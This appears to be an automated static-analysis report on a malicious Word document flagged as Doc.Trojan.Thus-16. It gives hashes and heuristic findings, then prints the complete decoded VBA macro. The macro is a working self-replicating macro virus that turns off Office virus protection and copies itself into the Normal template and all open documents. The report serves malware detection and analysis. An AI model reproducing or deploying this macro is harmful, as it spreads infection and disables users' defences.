Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8a85079ba6300ef6…

MALICIOUS

Office (OLE)

98.5 KB Created: 2009-06-12 23:00:00 Authoring application: Microsoft Word 10.1 First seen: 2020-05-14
MD5: ab01f1dcf09192fb4ad77ecb91e0301a SHA-1: 94beb2e505bf91d219a204d82da39b7ba99707f1 SHA-256: 8a85079ba6300ef6ef3c4e11b77318a860723e2ef9c480eeb8dd09c82cc87825
150 Risk Score

Heuristics 5

  • ClamAV: Doc.Trojan.Thus-16 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Thus-16
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
       On Error Resume Next
   Application.Options.VirusProtection = False
   If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) <> "'Mat1'" Then
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Private Sub Document_Open()
'Mat1'
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.apple.com/DTDs/PropertyList-1.0.dtd In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1959 bytes
SHA-256: 790b16052dcca147354d20827a4bd02efa8a1d6a56ee9d175a7b21daa819a815
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Private Sub Document_Open()
'Mat1'
   On Error Resume Next
   Application.Options.VirusProtection = False
   If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) <> "'Mat1'" Then
   NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, _
   NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
   End If
   
   If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
   NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.InsertLines _
   1, ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines _
   (1, ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
   End If
   
   If NormalTemplate.Saved = False Then NormalTemplate.Save
   
   For k = 1 To Application.Documents.Count
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) <> "'Mat1'" Then
        Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.DeleteLines _
        1, Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines
    End If
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
        Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.InsertLines _
        1, NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines _
        (1, NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
    End If
   Next k
End Sub

Private Sub Document_New()
    Document_Open
End Sub

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